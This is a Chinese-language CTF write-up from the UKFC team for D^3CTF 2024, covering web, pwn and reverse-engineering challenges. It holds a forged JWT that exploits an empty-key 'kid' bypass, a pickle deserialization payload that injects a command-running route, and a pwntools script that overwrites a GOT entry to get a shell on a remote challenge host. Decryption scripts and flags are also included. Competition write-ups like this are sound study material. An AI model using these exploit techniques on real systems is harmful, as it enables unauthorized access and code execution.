凌武杯D^3CTF 2024

UKFC 2024 凌武杯D^3CTF Writeup

web

d3pythonhttp

  1. 鉴权是根据 header[“kid”]来选择 secret 的,本地调试的时候把指向了一个不存在的文件发现可以直接将 key 设为空可以绕过鉴权

def get_key(kid): key = "" dir = "" try: with open(dir+kid, “r”) as f: key = f.read() except: pass print(key) return key

def verify_token(token): header = jwt.get_unverified_header(token) kid = header[“kid”] key = get_key(kid) try: payload = jwt.decode(token, key, algorithms=[“HS256”]) print(payload) return True except: return False

1
2
    ```python
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii91a2ZjIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVrZmMiLCJpc2FkbWluIjp0cnVlfQ.PttlMcvgblV1Wxut_4JJjutIzJluty0XMxYFQQAF16U
  1. 大小写绕过 web.data()没有碰到全小写的 chunked 就会读取 Content-Length 长度的数据

  2. 构造反序列化,本地 docker RCE 后打远程发现不出网,index.GET 添加一个路由

import pickle import os import base64

class A(object): def reduce(self): s = """ def hello(): return import(‘os’).popen(’ls’).read() index.GET = hello """ return (exec, (s,))

a = A() pickle_a = pickle.dumps(a) print(pickle_a) print(base64.b64encode(pickle_a))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
    注意把更新Content-Length关掉
    ![](assets/TJ1ebCps5oHWfWxZkt9cRCQFnbb.png)
    ![](assets/KwR4bW6IcoqCZtxE7vocbm3Tngd.png)
    
    





## pwn

### <strong>d3note</strong>

可以发现add函数具有整数溢出漏洞chunklist指针在got表附近,可以通过整数溢出漏洞,让记录堆块大小的地址覆盖atoi的got表,然后取得shell

```python
from tokenize import blank_re
from pwn import *
from LibcSearcher import *
import base64
from numpy import int16
context(os='linux',arch='amd64',log_level='debug')

ifremote=1
if ifremote==1:
    io=remote('139.224.62.61',32322)
else:
    io=process('/home/kali/Downloads/bin/pwn')
   
elf = ELF('/home/kali/Downloads/bin/pwn')
libc=ELF('/home/kali/Downloads/bin/libc.so.6')
#gdb.attach(io)

def add(idx,size,content):
        io.sendline(b'276')
        sleep(0.5)
        io.sendline(str(idx))
        sleep(0.5)
        io.sendline(str(size))
        sleep(0.5)
        io.sendline(content)
        
def edit(idx,content):
        io.sendline(b'2064')
        sleep(0.5)
        io.sendline(str(idx))
        sleep(0.5)
        io.sendline(content)
        
def show(idx):
        io.sendline(b'1300')
        sleep(0.5)
        io.sendline(str(idx))
        sleep(0.5)
        
def free(idx):
        io.sendline(b'6425')
        sleep(0.5)
        io.sendline(str(idx))
        sleep(0.5)
        
puts_got=elf.got['puts']
add(0,0x450,b'aa')
add(1,0x30,b'aaa')
free(0)
add(-1,0,b'0')

show(-1)

test_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("test_addr============>",hex(test_addr))
base_addr=test_addr-0x1D40E0
print("base_addr============>",hex(base_addr))

system_addr=base_addr+libc.sym['system']
print("system_addr============>",hex(system_addr))

io.sendline(b'276')
sleep(0.5)
io.sendline(b'-7')
sleep(0.5)
io.sendline(str(system_addr))
sleep(1)
io.sendline(b'a')
sleep(1)
io.sendline(b';/bin/sh\x00')

io.interactive()

re

EZjunk

比较有新意的花指令 魔改 tea 花指令的脏字节当作加密数据 随便 patch 会寄 还有一处反调试会修改 key

先解了个假的 flag fakeflag{Is_there_anywhere_else}

然后动调发现在最后还有个类似 crc 的加密,写脚本恢复 tea 密文

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>

 
int main(int argc, BYTE* argv[])
{
//    for ( i = 0; i <= 7; ++i )
//          {
        int v0;
        int i=0; 
        int jud=0x80000000;
        int dword_408040[]={0xB6DDB3A9,0x36162C23,0x1889FABF,0x6CE4E73B,0xA5AF8FC,
        0x21FF8415,0x44859557,0x2DC227B7};
        for (int i=0;i<8;i++){
            
//            printf("\n",dword_408040[i]);
//            printf("%x\n",dword_408040[i]);
//            printf("\n",dword_408040[i]);

            for ( int j = 0; j <= 31; ++j )
            {
                    if (dword_408040[i]&1){
                            
                            dword_408040[i]=(unsigned int)(dword_408040[i]^0x84a6972f)&0xffffffff;
                                dword_408040[i]=(unsigned int)(dword_408040[i]>>1)&0xffffffff;
                            dword_408040[i]=(dword_408040[i]|(1<<31))&0xffffffff;
                        }else {
                                dword_408040[i]=(dword_408040[i]>>1)&0xffffffff; 
                                dword_408040[i]&= ~(1<<31);
                                        
                        }
                          //printf("%x\n",dword_408040[i]);
            }
            printf("0x%x,",dword_408040[i]);
        }
            
           // printf("%x\n",dword_408040[i]);
            //cfb74c4a
            //printf("%x\n",(0x4fb74c4a|(1<<31))&0xffffffff);
//          }
    return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>
#include <stdint.h>

//加密函数
void encipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {  
    unsigned int i;  
     
    unsigned int v0=v[0], v1=v[1], sum=0xe8017300, delta=0xFF58F981;  
    for (i=0; i < num_rounds; i++) {  
        v0 += ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]))^0x44;    
        v1 += ((((v0 << 5) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum>>11) & 3]))^0x33; 
                sum -= delta;  //0xE5F194CB
                                           //0x5A2C6B06
    }  
    v[0]=v0; v[1]=v1;  
//    printf("sum:%x\n",sum);
}  
  
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
    unsigned int i;  
    uint32_t v0=v[0], v1=v[1], delta=0xFF58F981, sum=0xfce242e0;  
    for (i=0; i < num_rounds; i++) {  
            sum += delta; 
        v1 -= ((((v0 << 5) ^ (v0 >> 6)) + v0)) ^ (sum + key[(sum>>11) & 3])^0x33;   
        v0 -= ((((v1 << 4) ^ (v1 >> 5)) + v1))^ (sum + key[sum & 3])^0x44;  
    }  
    v[0]=v0; v[1]=v1;  
}  


int main()
{
//        unsigned int pp=0xe8017300;
//        for (int i=0;i<1;i++) pp-=0xFF58F981;
//        printf("%x\n",pp);
//0x8569d705,0xcb62d74f,0xef10015ad9fa14c50d0df43bcf3f595e358591a8fdf5a93e
        unsigned int aa[8]={0xdd243dab,0x898587d8,0x2fdf1d,0xbc4aca2,0x4d68a16a,0x616c5d29,0x5b911af5,0x4c7710dc,};
        unsigned int key []= {0x5454,0x4602,0x4477,0x5e5e,};
        unsigned int tem[2]={0x32317b66,0x74633364,};//e186adf8
        encipher(32,tem,key);
//        printf("1: %x\n",tem[0]);
//        printf("2: %x\n",tem[1]);
        //fakeflag{Is_there_anywhere_else}
        for (int i=0;i<8;i+=2){
                tem[0]=aa[i];
                tem[1]=aa[i+1];
                decipher(32,tem,key);
                aa[i]=tem[0];
                aa[i+1]=tem[1];
        }
//          for (int i=0;i<8;i++){
//                  printf("0x");
//                  for (int p=3;p>=0;p--){
//                          printf("%x",aa[i*4+p]);
//                  }
//                  printf(",");
//                  
//        }
  
        
        for (int i = 0; i < 8; i++)
        {
                for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++)
                {
                        printf("%c", (aa[i] >> (j * 8)) & 0xFF);
                }
        }
        printf("\n");
        int keyy[]={0xB6DDB3A9,0x36162C23,0x1889FABF,0x6CE4E73B,0xA5AF8FC,
        0x21FF8415,0x44859557,0x2DC227B7};
        int k=0x84a6972f;
        for (int i=0;i<8;i++) {
                printf("0x%x,",decrypttt(keyy[i],k));
        }
//        int aaaa[]={0x5A, 0x04, 0x38, 0x35, 0x70, 0x36, 0x3C, 0x31, 0x37, 0x70, 
//  0x36, 0x3F, 0x22, 0x3D, 0x31, 0x24, 0x70, 0x39, 0x23, 0x70, 
//  0x34, 0x63, 0x33, 0x24, 0x36, 0x2B, 0x2D, 0x5A, 0x22, 0x39, 
//  0x37, 0x38, 0x24, 0x71};
//  for (int i=0;i<34;i++) printf("%c",aaaa[i]^0x50);
//        f2a4b673 811e1727 4446bdaefb3556a53338fae370c4fecfac833f58589e5e2
//        0x73b6a4f2,0x27171e81
        
        return 0;
}

d3ctf{ea3yjunk_c0d3_4nd_ea5y_re}

RandomVM

也是比较有新意的一道题 用随机数生成的方式生成 opcode 控制程序流 不知道怎么还原 硬干 f8 跟到底了 qwq

大概逻辑是输入先左移,再异或左移位数(这个存疑 有的异或了有的没有),再异或下一个输入的字符 最后再挨个前后异或一遍

由于是否异或左移位数不确定,直接挨个尝试然后手动拼成有意义的字符串

这里贴一个自动化尝试的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>  
#include <stdint.h>  
#include <bits/stdc++.h> 
  
int roll(int tar, int x){
        tar = ((tar<<x)&0xff|(tar>>(8-x))&0xff)&0xff;
        
        return tar&0xff;
}

int main()  
{  

//6M
//        char input [] = "abccdefhijklmn";
//        int ud[]= {3,0,0,7,4,4,7,7,2,4,4,7};
//        input[0]=(((roll(input[0],5))^3))^input[1];
//        input[1]=0xff;
//        for (int i=3;i<11;i++){
////                printf("%x:",input[i]);
//                if (i==5|i==7|i==8|i==9|i==10) input[i]=(((roll(input[i],8-ud[i]))))^input[i+1];
//                else input[i]=(((roll(input[i],8-ud[i]))^ud[i]))^input[i+1];
//                input[i]=input[i]&0xff;
//                printf("%x,",input[i]);
//        }
//        printf("\n");
//        input[11]=(((roll(input[11],1))^7));
//        for (int i=0;i<11;i++){
//                input[i+1]^=input[i];
//        }

//        int fl[]={ 0x9D, 0x6B, 0xA1, 0x02, 0xD7, 0xED, 0x40, 0xF6, 0x0E, 0xAE, 
//  0x84, 0x19};



//v(0xa3)HUosW-vM
//yw
//m3owJumpVmvM   
        printf("%c\n",roll(0xf6,1));
        for(int i=0;i<8;i++){
                printf("%d:%c---%c\n",i,roll(('o')^0xf6,i),roll((('o')^0xf6)^i,i));
        }
        printf("%c\n",0x55);
//        
//        for(int i=0;i<8;i++){
//                printf("%c  %c\n",roll(('1')^0x9d,i),roll(('1')^0x9d^i,i));
//        }
//        int fl2[]={0x9d,0xf6,0xca, 0xa3,//j=a3
//        0xd5,0x3a,0xad,0xb6
//        ,0xf8,0xa0,0x2a,0x9d,};
        
        for (int i=30;i<137;i++){
                for (int j=30;j<137;j++){
                        if ((((roll(i,5)^3))^j)==0x9d) printf("-----%c%c--------\n",i,j);
                }
        }
        
        
        int ke=('w')^0xca^6;
        printf("%c\n",roll(ke^6,6));
        ke=roll(ke,6);
        printf("%c\n",ke);
        

//          int fl2[]={0x9d,0xf6,0xca,0xa3,
//0xd5,0x3a,0xad,0xb6,
//0xf8,0xa0,0x2a,0x9d,};
//          printf("%x\n",0xff^0x9d);
//        
//        int ke=(0x19^0x84)^7;
//        ke=roll(ke,7);
//        ke=(((ke^0x2a))^4);
//        ke=roll(ke,4);
//        ke=(((ke^0xa0)-1)^4);
//        ke=roll(ke,4);
//        
//        printf("%c\n",ke);
        
//        for (int i=11;i>0;i--){
//                fl[i]^=fl[i-1];
//                
//        } 
//        for (int i=0;i<11;i++){
//                fl[i+1]=fl[i]^fl[i+1];
//        
//        } 
//        for (int i=0;i<12;i++){
//                
//                printf("0x%x,",input[i]&0xff);
//        } 
//        
        
    return 0;  
}

d3ctf{m3owJumpVmvM}

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计